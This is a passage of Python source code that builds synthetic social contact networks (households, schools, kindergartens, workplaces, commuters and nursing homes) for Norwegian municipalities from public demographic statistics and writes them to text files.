getAgeDistribution(municipalityToGet,dataDirName)\n if sum(ageDistribution) == 0:\n print(\"No people found in \"+municipalityToGet+\", aborting!\\n\")\n try:\n reportingFile = open(\"noPopulationMunicipalities.txt\",\"r\", encoding = \"utf-8\")\n munics = reportingFile.readlines()\n reportingFile.close()\n for i in range(len(munics)):\n munics[i] = munics[i].lower()\n if municipalityToGet.lower()+\"\\n\" not in munics:\n reportingFile = open(\"noPopulationMunicipalities.txt\",\"a\", encoding = \"utf-8\")\n reportingFile.write(municipalityToGet+\"\\n\")\n reportingFile.close()\n except:\n reportingFile = open(\"noPopulationMunicipalities.txt\",\"w\", encoding = \"utf-8\")\n reportingFile.close()\n # print(munics)\n # print(len(munics))\n return 0\n\n # print(\"Age distribution: 67-74: \"+str(sum(ageDistribution[67:75]))+\", 75-79: \"+str(sum(ageDistribution[75:80]))+\", 80-84: \"+str(sum(ageDistribution[80:85]))+\", 85-89: \"+str(sum(ageDistribution[85:90]))+\", 90+: \"+str(sum(ageDistribution[90:])))\n\n #distribution of household sizes, index+1 is number of people, value is proportion\n #Dataset from SSB: \"06079: Private households and persons in private households, by size of household (per cent) (M) (UD) 2005 - 2019\"\n householdSizeDistribution = getHouseholdSizeDistribution(countyToGet,dataDirName)\n\n #distribtion of households: 2 parents, single parents, number of children distribution for each. age?\n #Dataset from SSB: \"#06070: Privathusholdninger, etter husholdningstype (K) (B) 2005 - 2019\"\n householdTypeDistribution = getHouseHoldTypeDistribution(municipalityToGet,dataDirName)\n #removing two or more-family households with children due to uncertainty around how to integrate data\n householdTypeDistribution[0] = householdTypeDistribution[0][0:8]\n householdTypeDistribution[1] = householdTypeDistribution[1][0:8]\n\n #distribution on number of siblings in flock\n #Dataset from SSB: \"#06206: Children 0-17 years, by number of siblings and the child's age 2001 - 2019\"\n siblingFlockSizeDistribution = getSiblingFlockSizeDistribution(dataDirName)\n\n #proportion of 16-20 YO in upper secondary education\n #Dataset from SSB: \"#08947: Pupils, apprentices, students and participants in upper secondary education, by sex, age and type of school/institution 2006 - 2019\"\n secondaryEducationProportion = getSecondaryEducationProportion(dataDirName)\n\n #distribution of workplace sizes\n #Dataset from SSB: \"#10308: Establishments, by the enterprises sector and number of employees (M) 2012 - 2020\"\n workplaceSizeDistribution = getWorkplaceSizeDistribution(municipalityToGet,dataDirName)\n\n #distribution of school sizes and types\n # schoolDistributions - [primarySchoolSizes,secondarySchoolSizes,schoolAssociations]\n # schoolAssocations has secondary school ID as index and primary school IDs as value\n # upperSecondarySchoolDistribution - [schoolSize1,schoolSize2,...]\n #Dataset from NSR API: \"https://data-nsr.udir.no/\"\n schoolDistributions,upperSecondarySchoolDistribution,schoolEmployees = getSchoolSizeDistribution(municipalityToGet,dataDirName)\n\n #distribution of elderly home sizes and patient number distribution by age\n #Datasets from SSB:\n # \"#09929: Nursing and care institutions and beds, by ownership (C) 2009 - 2018\"\n # \"#04469: Bebuarar i bustader kommunen disponerer til pleie- og omsorgsformål, etter alder (K) 2002 - 2018\"\n # \"#11933: Care institutions - rooms, by region, contents and year\"\n nursingHomeSizes,nursingHomePatientDistribution = getElderlyHomeDistribution(municipalityToGet,countyToGet,dataDirName)\n\n #distribution of kindergartens and kindergarten slots\n #Datasets from SSB:\n # \"#09220: Kindergartens, by ownership (M) 1987 - 2019\"\n # \"#09169: Barn i barnehager, etter region, barnehagetype, statistikkvariabel og år\"\n # \"#12562: Selected key figures kindergartens, by region, contents and year\"\n kindergartenSizes,kindergartenProportions = getKindergartenDistribution(municipalityToGet,dataDirName)\n\n #distribution of number of commuters by work municipality (commuterEmploymentPlaces [homeRegionList,homeRegionNumbers])\n # and number commuters by home municipality (commuterHomePlaces [targetRegionList,targetRegionNumbers])\n commuterEmploymentPlaces,commuterHomePlaces = getCommuteData(municipalityToGet,dataDirName)\n\n #distribution of working probability by age\n workAgeProbability = getWorkAgeProbability(municipalityToGet,dataDirName)\n\n for network in range(nNetworks):\n \n #determining fileNumber\n fileNumber = 1\n outputDirName = os.path.dirname(__file__)\n try:\n os.mkdir(outputDirName+\"/output/\")\n except:\n pass\n outputDirName = outputDirName+\"/output/\"+municipalityToGet.replace(\" \",\"_\")+\"/\"\n try:\n os.mkdir(outputDirName)\n except:\n pass\n\n for i in range(nNetworks-1):\n try:\n with open(outputDirName+\"idAndAge_\"+municipalityToGet.replace(\" \",\"_\")+\"_\"+str(fileNumber)+\".txt\") as f:\n test = f.readlines()\n fileNumber = fileNumber+1\n except IOError:\n break\n \n assert fileNumber<=nNetworks\n \n # # # # #\n # # # # # Building households\n # # # # #\n\n #finding total numbers of households, adults and children\n numberHouseholds = sum(householdTypeDistribution[1])\n numberUnassignedAdults = sum(ageDistribution[18:])\n numberUnassignedChildren = sum(ageDistribution[0:18])\n\n # #finding age probability distribution\n # ageProbDist = [x/(numberUnassignedAdults+numberUnassignedChildren) for x in ageDistribution]\n\n assert numberUnassignedAdults + numberUnassignedChildren == sum(ageDistribution)\n\n #generating households\n\n print(\"Building \"+str(numberHouseholds)+\" households\")\n\n peopleAgeList = []\n householdPeopleList = []\n\n householdTypeWeights = copy.deepcopy(householdTypeDistribution[1])\n householdTypePopulation = [x for x in range(len(householdTypeDistribution[0]))]\n\n householdType0Weights = copy.deepcopy(ageDistribution)\n householdType0Population = range(len(ageDistribution))\n for j in range(len(ageDistribution)):\n #assuming people 19-26 are 1/3 as likely to live alone\n if j>=19 and j<=26:\n householdType0Weights[j] = householdType0Weights[j]*(1/3)\n #assuming people 18 and under don't live alone\n if j<=18:\n householdType0Weights[j] = householdType0Weights[j]*0\n\n householdType1Weights = copy.deepcopy(ageDistribution)\n householdType1Population = range(len(ageDistribution))\n for j in range(len(ageDistribution)):\n #assuming people 27-50 are 1/3 as likely to be childless\n if j>=27 and j<=50:\n householdType1Weights[j] = householdType1Weights[j]*(1/3)\n #assuming people under 18 don't live as couples\n if j<=18:\n householdType1Weights[j] = householdType1Weights[j]*0\n\n householdType2Weights = copy.deepcopy(ageDistribution)\n householdType2Population = range(len(ageDistribution)) \n for j in range(len(ageDistribution)):\n #assuming people under 18 and over 50 don't have small children\n if j<=18 or j>=50:\n householdType2Weights[j] = householdType2Weights[j]*0\n #assuming people 27-45 are 2x as likely to have small children\n if j>=27 and j<=45:\n householdType2Weights[j] = householdType2Weights[j]*2\n #sibling flock size is assumed to be selected from standard distribution\n type2SiblingFlockPopulation = range(len(siblingFlockSizeDistribution))\n type2SiblingFlockWeights = copy.deepcopy(siblingFlockSizeDistribution)\n type2ChildPopulation = range(len(ageDistribution[0:19]))\n type2ChildWeights = ageDistribution[0:19]\n #assuming flocks with younger children are more likely to have younger children\n for i in range(len(type2ChildWeights)):\n if i<6:\n type2ChildWeights[i] = type2ChildWeights[i]*4\n \n householdType3Weights = copy.deepcopy(ageDistribution)\n householdType3Population = range(len(ageDistribution))\n for j in range(len(ageDistribution)):\n #assuming people under 25 and over 65 don't have older children\n if j<=25 or j>=65:\n householdType3Weights[j] = householdType3Weights[j]*0\n #assuming people 30-50 are 1.5 as likely to have children\n if j>=30 and j<=50:\n householdType3Weights[j] = householdType3Weights[j]*1.5\n #sibling flock size is assumed to be between 1 and 3\n type3SiblingFlockPopulation = range(len(siblingFlockSizeDistribution[0:4]))\n type3SiblingFlockWeights = copy.deepcopy(siblingFlockSizeDistribution[0:4])\n type3ChildPopulation = [x for x in range(6,19)]\n type3ChildWeights = ageDistribution[6:19]\n \n householdType4Weights = copy.deepcopy(ageDistribution)\n householdType4Population = range(len(ageDistribution))\n for j in range(len(ageDistribution)):\n #assuming people under 18 and over 50 don't have small children\n if j<=18 or j>=50:\n householdType4Weights[j] = householdType4Weights[j]*0\n #assuming people 30-45 are 2x as likely to have small children\n if j>=30 and j<=45:\n householdType4Weights[j] = householdType4Weights[j]*2\n #sibling flock size is considered 1/4 as likely to be larger than 1\n type4SiblingFlockPopulation = range(len(siblingFlockSizeDistribution))\n type4SiblingFlockWeights = copy.deepcopy(siblingFlockSizeDistribution)\n for j in range(len(siblingFlockSizeDistribution)):\n if j>0:\n type4SiblingFlockWeights[j] = type4SiblingFlockWeights[j]*(1/4)\n type4ChildPopulation = range(len(ageDistribution[0:18]))\n type4ChildWeights = copy.deepcopy(ageDistribution[0:18])\n #assuming flocks with younger children are more likely to have younger children\n for i in range(len(type4ChildWeights)):\n if i<6:\n type4ChildWeights[i] = type4ChildWeights[i]*4\n\n householdType5Weights = copy.deepcopy(ageDistribution)\n householdType5Population = range(len(ageDistribution))\n for j in range(len(ageDistribution)):\n #assuming people under 25 and over 65 don't have older children\n if j<=25 or j>=65:\n householdType5Weights[j] = householdType5Weights[j]*0\n #assuming people 30-50 are 1.5 as likely to have children\n if j>=30 and j<=50:\n householdType5Weights[j] = householdType5Weights[j]*1.5\n #sibling flock size is assumed to be between 1 and 3, and to be 1/4 as likely to be larger than 1\n type5SiblingFlockPopulation = range(len(siblingFlockSizeDistribution[0:2]))\n type5SiblingFlockWeights = copy.deepcopy(siblingFlockSizeDistribution[0:2])\n for j in range(len(siblingFlockSizeDistribution[0:2])):\n if j>0:\n type5SiblingFlockWeights[j] = type5SiblingFlockWeights[j]*(1/4)\n type5ChildPopulation = range(6,19)\n type5ChildWeights = copy.deepcopy(ageDistribution[6:19])\n\n householdType6Weights = copy.deepcopy(ageDistribution)\n householdType6Population = range(len(ageDistribution))\n #assuming people with moved-out children are 45 or up\n for j in range(len(ageDistribution)):\n if j<=45:\n householdType6Weights[j] = householdType6Weights[j]*0\n\n householdType7Weights = copy.deepcopy(ageDistribution)\n householdType7Population = range(len(ageDistribution))\n for j in range(len(ageDistribution)):\n if j<19: #asserting adults-only\n householdType7Weights[j] = householdType7Weights[j]*0\n if j>25: #assuming a significant portion of multi-family households are flatshares\n householdType7Weights[j] = householdType7Weights[j]*0.2\n\n householdTypeList = random.choices(householdTypePopulation, householdTypeWeights, k=numberHouseholds)\n households = [] #id, age\n peopleIDs = 1\n householdsPicked = [0 for x in range(10)]\n for i in range(numberHouseholds):\n householdType = householdTypeList[i]\n age = -1\n household = []\n if householdType == 0: #Living alone\n householdsPicked[0] = householdsPicked[0]+1\n age = random.choices(householdType0Population, householdType0Weights)\n age = age[0]\n assert age>=19\n household.append([peopleIDs,age])\n peopleIDs = peopleIDs+1\n elif householdType == 1: #Couple without resident children\n householdsPicked[1] = householdsPicked[1]+1\n for j in range(2):\n age = random.choices(householdType1Population, householdType1Weights)\n age = age[0]\n assert age>=18\n household.append([peopleIDs,age])\n peopleIDs = peopleIDs+1\n elif householdType == 2: #Couple with small children (youngest child 0-5 years)\n householdsPicked[2] = householdsPicked[2]+1\n #parents' age are assumed to be uncorrelated\n for j in range(2):\n age = random.choices(householdType2Population, householdType2Weights)\n age = age[0]\n assert age>=18 and age <=50\n household.append([peopleIDs,age])\n peopleIDs = peopleIDs+1\n flockSize = random.choices(type2SiblingFlockPopulation, type2SiblingFlockWeights)\n flockSize = flockSize[0]+1 #adding +1 since index 0 is size 1\n for j in range(flockSize):\n age = random.choices(type2ChildPopulation, type2ChildWeights)\n age = age[0]\n assert age>=0 and age<=18\n household.append([peopleIDs,age])\n peopleIDs = peopleIDs+1\n elif householdType == 3: #Couple with older children (youngest child 6-17 years)\n householdsPicked[3] = householdsPicked[3]+1\n #parents' age are assumed to be uncorrelated\n for j in range(2):\n age = random.choices(householdType3Population, householdType3Weights)\n age = age[0]\n assert age>=25 and age<=65\n household.append([peopleIDs,age])\n peopleIDs = peopleIDs+1\n flockSize = random.choices(type3SiblingFlockPopulation, type3SiblingFlockWeights)\n flockSize = flockSize[0]+1 #adding +1 since index 0 is size 1\n for j in range(flockSize):\n age = random.choices(type3ChildPopulation, type3ChildWeights)\n age = age[0]\n assert age>=6 and age<=18\n household.append([peopleIDs,age])\n peopleIDs = peopleIDs+1\n elif householdType == 4: #Lone parent with small children (youngest child 0-5 years)\n householdsPicked[4] = householdsPicked[4]+1\n age = random.choices(householdType4Population, householdType4Weights)\n age = age[0]\n assert age>=18 and age<=60\n household.append([peopleIDs,age])\n peopleIDs = peopleIDs+1\n flockSize = random.choices(type4SiblingFlockPopulation, type4SiblingFlockWeights)\n flockSize = flockSize[0]+1 #adding +1 since index 0 is size 1\n for j in range(flockSize):\n age = random.choices(type4ChildPopulation, type4ChildWeights)\n age = age[0]\n assert age>=0 and age<=17\n household.append([peopleIDs,age])\n peopleIDs = peopleIDs+1\n elif householdType == 5: #Lone parent with older children (youngest child 6-17 years)\n householdsPicked[5] = householdsPicked[5]+1\n age = random.choices(householdType5Population, householdType5Weights)\n age = age[0]\n assert age>=25 and age<=65\n household.append([peopleIDs,age])\n peopleIDs = peopleIDs+1\n flockSize = random.choices(type5SiblingFlockPopulation, type5SiblingFlockWeights) #adding +1 since index 0 is size 1\n flockSize = flockSize[0]+1 #adding +1 since index 0 is size 1\n assert flockSize>=1 and flockSize<=3\n for j in range(flockSize):\n age = random.choices(type5ChildPopulation, type5ChildWeights)\n age = age[0]\n assert age>=6 and age<=18\n household.append([peopleIDs,age])\n peopleIDs = peopleIDs+1\n elif householdType == 6: #One family households with adult children (youngest child 18 years and over\n householdsPicked[6] = householdsPicked[6]+1\n for j in range(2):\n age = random.choices(householdType6Population, householdType6Weights)\n age = age[0]\n assert age>=45\n household.append([peopleIDs,age])\n peopleIDs = peopleIDs+1 \n elif householdType == 7: #Two or more-family households without resident children 0-17 years\n householdsPicked[7] = householdsPicked[7]+1\n numberOfPeople = random.randint(3,6) #assuming these households have somewhere between 3 and 6 people\n assert numberOfPeople>=3 and numberOfPeople<=6\n for j in range(numberOfPeople):\n age = random.choices(householdType7Population, householdType7Weights)\n age = age[0]\n assert age>=19\n household.append([peopleIDs,age])\n peopleIDs = peopleIDs+1\n else:\n raise Exception(\"Missing case in household type selection\")\n # elif householdType == 7:\n # #Two or more-family households without resident children 0-17 years\n # elif householdType == 8:\n # #Two or more-family households with small children (youngest child 0-5 years)\n # elif householdType == 9:\n # #Two or more-family households with older children (youngest child 6-17 years)'\n for person in household:\n peopleAgeList.append(person)\n householdPeopleList.append([i,person[0]])\n households.append(household)\n\n print(\"Assigning households and people to schools and kindergartens\")\n #assigning households to lower secondary schools\n #schoolDistributions - [primarySchoolSizes,secondarySchoolSizes,schoolAssociations] #schoolAssocations has secondary school ID as index and primary school IDs as value\n householdsSchoolAffiliation = []\n population = range(len(schoolDistributions[1]))\n weights = copy.deepcopy(schoolDistributions[1])\n for i in range(numberHouseholds):\n schoolIndex = random.choices(population, weights)\n schoolIndex = schoolIndex[0]\n householdsSchoolAffiliation.append(schoolIndex)\n\n #assigning children to kindergartens\n #assigning kids to kindergartens randomly according to size weights and age attendance proportion\n #kindergartenSizes - [size1, size2, ...]\n kindergartens = [[] for x in range(len(kindergartenSizes))]\n population = range(len(kindergartens))\n weights = copy.deepcopy(kindergartenSizes)\n for hh in households:\n #assigning household to kindergarten\n kindergartenIndex = random.choices(population, weights)\n kindergartenIndex = kindergartenIndex[0]\n kindergartenAttendants = []\n for person in hh:\n if person[1] > 0 and person[1] < 6:\n personId = person[0]\n personAge = person[1]\n kindergartenAttendants.append([personId,personAge,0])\n #taking into account the proportional attendance by age and region\n if random.randint(0,100) < 100*kindergartenProportions[personAge]:\n kindergartenAttendants[-1][2] = 1\n else:\n #making sure that younger siblings of kindergarten non-attendants do also not attend kindergarten\n for attendant in kindergartenAttendants:\n if attendant[1]<personAge:\n attendant[2] = 0\n for attendant in kindergartenAttendants:\n if attendant[2] == 1:\n kindergartens[kindergartenIndex].append(attendant[0])\n\n #assigning children to schools\n primarySchools = [[] for x in range(len(schoolDistributions[0]))]\n secondarySchools = [[] for x in range(len(schoolDistributions[1]))]\n upperSecondarySchools = [[] for x in range(len(upperSecondarySchoolDistribution))]\n #households - [[[personID,age],[personID,age],...],[[personID,age],[personID,age],...],...]\n for hh in range(len(households)):\n for p in range(len(households[hh])):\n if households[hh][p][1]>=6 and households[hh][p][1]<=12:\n primarySchoolIDsForHousehold = schoolDistributions[2][householdsSchoolAffiliation[hh]]\n primarySchoolID = 0\n if len(primarySchoolIDsForHousehold)!=1:\n assert len(primarySchoolIDsForHousehold)>0\n population = primarySchoolIDsForHousehold\n weights = [schoolDistributions[0][primarySchoolIDsForHousehold[x]] for x in range(len(primarySchoolIDsForHousehold))]\n schoolIndex = random.choices(population, weights)\n schoolIndex = schoolIndex[0]\n primarySchools[primarySchoolIDsForHousehold[primarySchoolID]].append(households[hh][p][0])\n elif households[hh][p][1]>=13 and households[hh][p][1]<=15:\n secondarySchools[householdsSchoolAffiliation[hh]].append(households[hh][p][0])\n elif households[hh][p][1]>=16 and households[hh][p][1]<=19 and sum(upperSecondarySchoolDistribution)>0:\n if random.randint(0,100)<100*secondaryEducationProportion:\n population = range(len(upperSecondarySchoolDistribution))\n weights = copy.deepcopy(upperSecondarySchoolDistribution)\n schoolIndex = random.choices(population, weights)\n schoolIndex = schoolIndex[0]\n upperSecondarySchools[schoolIndex].append(households[hh][p][0])\n\n #putting ages in bins and assigning probabilities they work\n # warnings.warn(\"WARNING! Probability that people are working at given ages is guesstimate!\")\n # workAgeProbability = [[0,15,0],[16,22,30],[23,28,60],[29,65,90],[66,70,30],[71,110,0]]\n\n #generating workforce\n print(\"Assigning people to workplaces\")\n workforce = []\n for i in range(len(peopleAgeList)):\n personID = peopleAgeList[i][0]\n personAge = peopleAgeList[i][1]\n for j in range(len(workAgeProbability)):\n ageIntervalLowerBound = workAgeProbability[j][0]\n ageIntervalUpperBound = workAgeProbability[j][1]\n ageIntervalWorkingProbability = workAgeProbability[j][2]\n if personAge>=ageIntervalLowerBound and personAge<=ageIntervalUpperBound:\n if random.randint(0,100)<ageIntervalWorkingProbability:\n workforce.append(personID)\n random.shuffle(workforce) # this is important! or else people are bunched into workplaces by household etc.\n \n #assigning elderly to nursing homes\n #Elderly in nursing homes are not part of households!\n #This code is run after generating the workforce so that no further sorting will be necessary\n #nursingHomeSizes - [size1,size2,...]\n #nursingHomePatientDistribution - [[string with age category],[number of patients in category]]\n nursingHomes = [[] for x in range(len(nursingHomeSizes))]\n population = range(len(nursingHomeSizes))\n weights = copy.deepcopy(nursingHomeSizes)\n ageWeights = copy.deepcopy(nursingHomePatientDistribution[1])\n agePopulation = range(len(nursingHomePatientDistribution[1]))\n for i in range(sum(nursingHomePatientDistribution[1])):\n #ageBins = [\"Under 67 years\",\"67-74 years\",\"75-79 years\",\"80-84 years\",\"85-89 years\",\"90 years or older\"]\n personAgeCat = random.choices(agePopulation, ageWeights)\n personAgeCat = personAgeCat[0]\n personAge = 0\n if personAgeCat == 0:\n pass\n # personAge = random.randint(50,66) #seems a quite large number falls into this category, i.e. not elderly homes\n elif personAgeCat == 1:\n personAge = random.randint(67,74)\n elif personAgeCat == 2:\n personAge = random.randint(75,79)\n elif personAgeCat == 3:\n personAge = random.randint(80,84)\n elif personAgeCat == 4:\n personAge = random.randint(85,89)\n elif personAgeCat == 5:\n personAge = random.randint(90,105)\n if personAgeCat != 0:\n nIndex = random.choices(population, weights)\n nIndex = nIndex[0]\n nursingHomes[nIndex].append(peopleIDs)\n peopleAgeList.append([peopleIDs,personAge])\n peopleIDs = peopleIDs+1\n\n #setting up workplaces\n workplaces = []\n workerIterator = 0\n\n #assigning people to commuter OUT workplaces\n\n #commuterEmploymentPlaces [homeRegionList,homeRegionNumbers]\n commuterEmployments = [] #[[place,[peopleIds]],[place,[peopleIds]],...]\n for place in range(len(commuterEmploymentPlaces[0])):\n if commuterEmploymentPlaces[1][place]>0:\n workplace = commuterEmploymentPlaces[0][place]\n workforceForPlace = workforce[workerIterator:workerIterator+commuterEmploymentPlaces[1][place]]\n commuterEmployments.append([workplace,workforceForPlace])\n workerIterator = workerIterator+commuterEmploymentPlaces[1][place]\n\n #adding commuters IN to workforce\n #commuterHomePlaces [targetRegionList,targetRegionNumbers]\n for commuterHome in range(len(commuterHomePlaces[0])):\n if commuterHomePlaces[1][commuterHome] > 0:\n for i in range(commuterHomePlaces[1][commuterHome]):\n workforce.append(commuterHomePlaces[0][commuterHome]+str(i))\n \n #hack to shuffle commuters into rest of remaining workforce to avoid clustering commuters\n workforce = workforce[workerIterator:]\n random.shuffle(workforce)\n workerIterator = 0\n\n #assigning people as teachers to schools\n # primarySchools = [[] for x in range(len(schoolDistributions[0]))]\n # secondarySchools = [[] for x in range(len(schoolDistributions[1]))]\n # upperSecondarySchools = [[] for x in range(len(upperSecondarySchoolDistribution))]\n # schoolEmployees = [primarySchoolEmployees,secondarySchoolEmployees,upperSecondarySchoolEmployees]\n for school in primarySchools:\n for i in range(len(schoolEmployees[0])):\n school.append(workforce[workerIterator])\n workerIterator = workerIterator+1\n for school in secondarySchools:\n for i in range(len(schoolEmployees[1])):\n school.append(workforce[workerIterator])\n workerIterator = workerIterator+1\n for school in upperSecondarySchools:\n for i in range(len(schoolEmployees[2])):\n school.append(workforce[workerIterator])\n workerIterator = workerIterator+1\n\n #assigning people as teachers in kindergartens\n # approximately 5.5 employees per child based on 12562: Selected key figures kindergartens, by region, contents and year (M)\n for kindergarten in kindergartens:\n kindergartenWorkers = int(math.ceil(len(kindergarten)/5.5))\n for i in range(kindergartenWorkers):\n kindergarten.append(workforce[workerIterator])\n workerIterator = workerIterator+1\n\n #assigning people as nurses in nursing home\n # assuming a \"bemanningsfaktor\" of 0.75 based on anecdotal information\n for nursingHome in nursingHomes:\n for employee in range(int(len(nursingHome)*0.75)):\n nursingHome.append(workforce[workerIterator])\n workerIterator = workerIterator+1\n #assigning people to other in-municipality workplaces\n population = range(len(workplaceSizeDistribution[1]))\n weights = (workplaceSizeDistribution[1])\n # drawing random workplace size category according to distribution\n # assuming uniform distribution of workplace sizes within size categories!\n\n while 1:\n workplaceSizeCategory = random.choices(population, weights)\n workplaceSizeCategory = workplaceSizeCategory[0]\n workplaceSize = 0\n if workplaceSizeCategory == 0:\n workplaceSize = random.randint(1, 4)\n elif workplaceSizeCategory == 1:\n workplaceSize = random.randint(5, 9)\n elif workplaceSizeCategory == 2:\n workplaceSize = random.randint(10, 19)\n elif workplaceSizeCategory == 3:\n workplaceSize = random.randint(20, 49)\n elif workplaceSizeCategory == 4:\n workplaceSize = random.randint(50, 99)\n elif workplaceSizeCategory == 5:\n workplaceSize = random.randint(100, 249)\n elif workplaceSizeCategory == 6:\n #setting upper cap on workplace at 500, more or less at random\n workplaceSize = random.randint(250, 500)\n else:\n raise Exception(\"WorkplaceSizeCategory out of bounds!\")\n workplace = []\n if workerIterator+workplaceSize>len(workforce):\n workplaceSize = len(workforce)-workerIterator\n for i in range(workplaceSize):\n workplace.append(workforce[workerIterator+i])\n workerIterator = workerIterator+workplaceSize\n workplaces.append(workplace)\n if workerIterator >= len(workforce)-1:\n break\n\n\n\n idAndAgeFileName = outputDirName+\"idAndAge_\"+municipalityToGet.replace(\" \",\"_\")+\"_\"+str(fileNumber)+\".txt\"\n socialNetworkFileName = outputDirName+\"socialNetwork_\"+municipalityToGet.replace(\" \",\"_\")+\"_\"+str(fileNumber)+\".txt\"\n\n # peopleAgeList - [[personID,age],...]\n outputFile = open(idAndAgeFileName, \"w\", encoding='utf8')\n for person in peopleAgeList:\n outputFile.write(str(person[0])+\";\"+str(person[1])+\"\\n\")\n outputFile.close()\n\n outputFile = open(socialNetworkFileName, \"w\", encoding='utf8')\n \n # households - [[[personID,age],[personID,age],...],[[personID,age],[personID,age],...],...]\n for hh in households:\n if len(hh)>0:\n householdString = \"\"\n for person in hh:\n householdString = householdString+\";\"+str(person[0])\n outputFile.write(\"Household\"+householdString+\"\\n\")\n # else:\n # print(\"Empty household\")\n # primarySchools = [[personID,personID,...],[personID,personID,...]...]\n for school in primarySchools:\n if len(school)>0:\n outputFile.write(\"PrimarySchool;\"+';'.join([str(person) for person in school])+\"\\n\")\n # else:\n # print(\"Empty primary school\")\n # secondarySchools = [[personID,personID,...],[personID,personID,...]...]\n for school in secondarySchools:\n if len(school)>0:\n outputFile.write(\"SecondarySchool;\"+';'.join([str(person) for person in school])+\"\\n\")\n # else:\n # print(\"Empty secondary school\")\n # upperSecondarySchools = [[personID,personID,...],[personID,personID,...]...]\n for school in upperSecondarySchools:\n if len(school)>0:\n outputFile.write(\"UpperSecondarySchool;\"+';'.join([str(person) for person in school])+\"\\n\")\n # else:\n # print(\"Empty upper secondary school\")\n # workplaces - [[personID,...],[personID,...],...]\n for workplace in workplaces:\n if len(workplace)>0:\n outputFile.write(\"Workplace;\"+';'.join([str(person) for person in workplace])+\"\\n\")\n # else:\n # print(\"Empty workplace\")\n for commuterPlace in commuterEmployments:\n #[[place,[peopleIds]],[place,[peopleIds]],...]\n if len(commuterPlace)>0:\n outputFile.write(\"Commuters_\"+commuterPlace[0]+\";\"+\";\".join([str(person) for person in commuterPlace[1]])+\"\\n\")\n else:\n print(\"Empty workplace\")\n # nursingHomes - [[personID,personID,...],[personID,personID,...]]\n for nursingHome in nursingHomes:\n if len(nursingHome)>0:\n outputFile.write(\"NursingHome;\"+';'.join([str(person) for person in nursingHome])+\"\\n\")\n # else:\n # print(\"Empty nursing home\")\n # kindergartens - [[personID,personID,...],[personID,personID,...]]\n for kindergarten in kindergartens:\n if len(kindergarten)>0:\n outputFile.write(\"Kindergarten;\"+';'.join([str(person) for person in kindergarten])+\"\\n\")\n # else:\n # print(\"Empty kindergarten\")\n outputFile.close()\n print(\"Network for \"+municipalityToGet+\" generated\")\n print(\"Put \"+str(len(peopleAgeList))+\" people in \"+municipalityToGet+\" in \"+str(len(households))+\" households, \"+str(len(kindergartens))+\" kindergartens, \"+str(len(primarySchools))+\" primary schools, \"+str(len(secondarySchools))+\" lower secondary schools, \"+str(len(upperSecondarySchools))+\" upper secondary schools, \"+str(len(workplaces))+\" workplaces, and \"+str(len(nursingHomes))+\" nursing homes.\")\n reportFile = open(\"statusReport.txt\",\"a\",encoding = \"utf-8\")\n reportFile.write(\"Put \"+str(len(peopleAgeList))+\" people in \"+municipalityToGet+\" in \"+str(len(households))+\" households, \"+str(len(kindergartens))+\" kindergartens, \"+str(len(primarySchools))+\" primary schools, \"+str(len(secondarySchools))+\" lower secondary schools, \"+str(len(upperSecondarySchools))+\" upper secondary schools, \"+str(len(workplaces))+\" workplaces, and \"+str(len(nursingHomes))+\" nursing homes.\\n\")\n reportFile.close()\n reportFile = open(\"statusCheck.csv\",\"a\",encoding = \"utf-8\")\n reportFile.write(municipalityToGet+\",\"+str(len(peopleAgeList))+\",\"+str(len(households))+\",\"+str(len(kindergartens))+\",\"+str(len(primarySchools))+\",\"+str(len(secondarySchools))+\",\"+str(len(upperSecondarySchools))+\",\"+str(len(workplaces))+\",\"+str(len(nursingHomes))+\"\\n\")\n reportFile.close()\n print(\"\")\n\n if fileNumber == nNetworks:\n print(str(nNetworks)+\" files generated for \"+municipalityToGet+\"\\n\")\n return 0\n\n ###########################\n # generatedAgeDistribution = [0 for x in range(106)]\n # for i in range(len(peopleAgeList)):\n # try:\n # generatedAgeDistribution[peopleAgeList[i][1]] = generatedAgeDistribution[peopleAgeList[i][1]]+1\n # except:\n # print(\"EXCEPTION\")\n # print(peopleAgeList[i][1])\n\n # outputFile = open(\"ageDistCheck\"+municipalityToGet+\".csv\", \"w\")\n # outputFile.write(\"RealAges,GeneratedAges\\n\")\n # for i in range(106):\n # outputFile.write(str(ageDistribution[i])+\",\"+str(generatedAgeDistribution[i])+\"\\n\")\n # outputFile.close()\n ###########################\n\n #save in file: cliqueType;id1;id2;...\n #e.g.:\n # Household 1 2 3 4 5 6\n # Household 7 8\n # Work 1 7 11\n # Work 2, 10, 14, 15\n # School 3, 13, 19, 24\n\n #separate file: id;age\n #e.g.:\n # 0;14\n # 1;32\n # 2;21\n\n #TODO:\n # Make output be for new municipalities?\n # Restructure the ways schools are made so that age groupings match empirical data more closely\n # Integrate householdSizeDistribution\n # Add hospitals\n # School data missing for some municipalities due to outdated municipality names\n # - Kommune (Legacy): https://data-nxr-fellestjeneste.udir.no/swagger/ui/index\n # More data on kindergartens\n # - https://data-nbr.udir.no/swagger/ui/index\n # Add sanity checks (demographic distribution vs original data, etc)\n # Find and implement better data for compositions of couples, families, sibling flocks etc.\n # Find better school data? (replace 4.5 hack) https://www.udir.no/tall-og-forskning/statistikk/statistikk-videregaende-skole/elevtall-i-videregaende-skole/elevtall-fylker-og-skoler/\n\ndef allMunicipalities(nTimes):\n kommuneNavnFil = open(\"populationData/kommuneNavnFixed2019.txt\", \"r\", encoding='utf-8')\n kommuneNavn = kommuneNavnFil.readlines()\n kommuneNavnFil.close()\n\n fullTime = time.time()\n fullStart = time.time()\n\n for kommune in kommuneNavn:\n kommune = kommune.replace(\"\\n\",\"\")\n try:\n generateSocialNetworkForRegion(kommune,nTimes)\n except:\n try:\n reportingFile = open(\"municipalitiesNotWorking.txt\",\"r\", encoding = \"utf-8\")\n munics = reportingFile.readlines()\n reportingFile.close()\n if kommune+\"\\n\" not in munics:\n reportingFile = open(\"municipalitiesNotWorking.txt\",\"a\", encoding = \"utf-8\")\n reportingFile.write(kommune+\"\\n\")\n reportingFile.close()\n except:\n reportingFile = open(\"municipalitiesNotWorking.txt\",\"w\", encoding = \"utf-8\")\n reportingFile.close()\n\n fullEnd = time.time()\n fullTime = fullEnd - fullStart\n print(fullTime)\n fullMinutes = str(math.floor(fullTime/60))\n fullSeconds = str(int(fullTime%60))\n print(\"Time elapsed, full: \"+fullMinutes+\" minutes and \"+fullSeconds+\" seconds\")\n\n\n# pr = cProfile.Profile()\n# pr.enable()\n# start = time.time()\n# #\nallMunicipalities(1)\n# generateSocialNetworkForRegion(\"Halden\",100)\n# #\n# end = time.time()\n# pr.disable()\n# s = StringIO()\n# sortby = 'cumulative'\n# ps = pstats.Stats(pr, stream=s).sort_stats(sortby)\n# 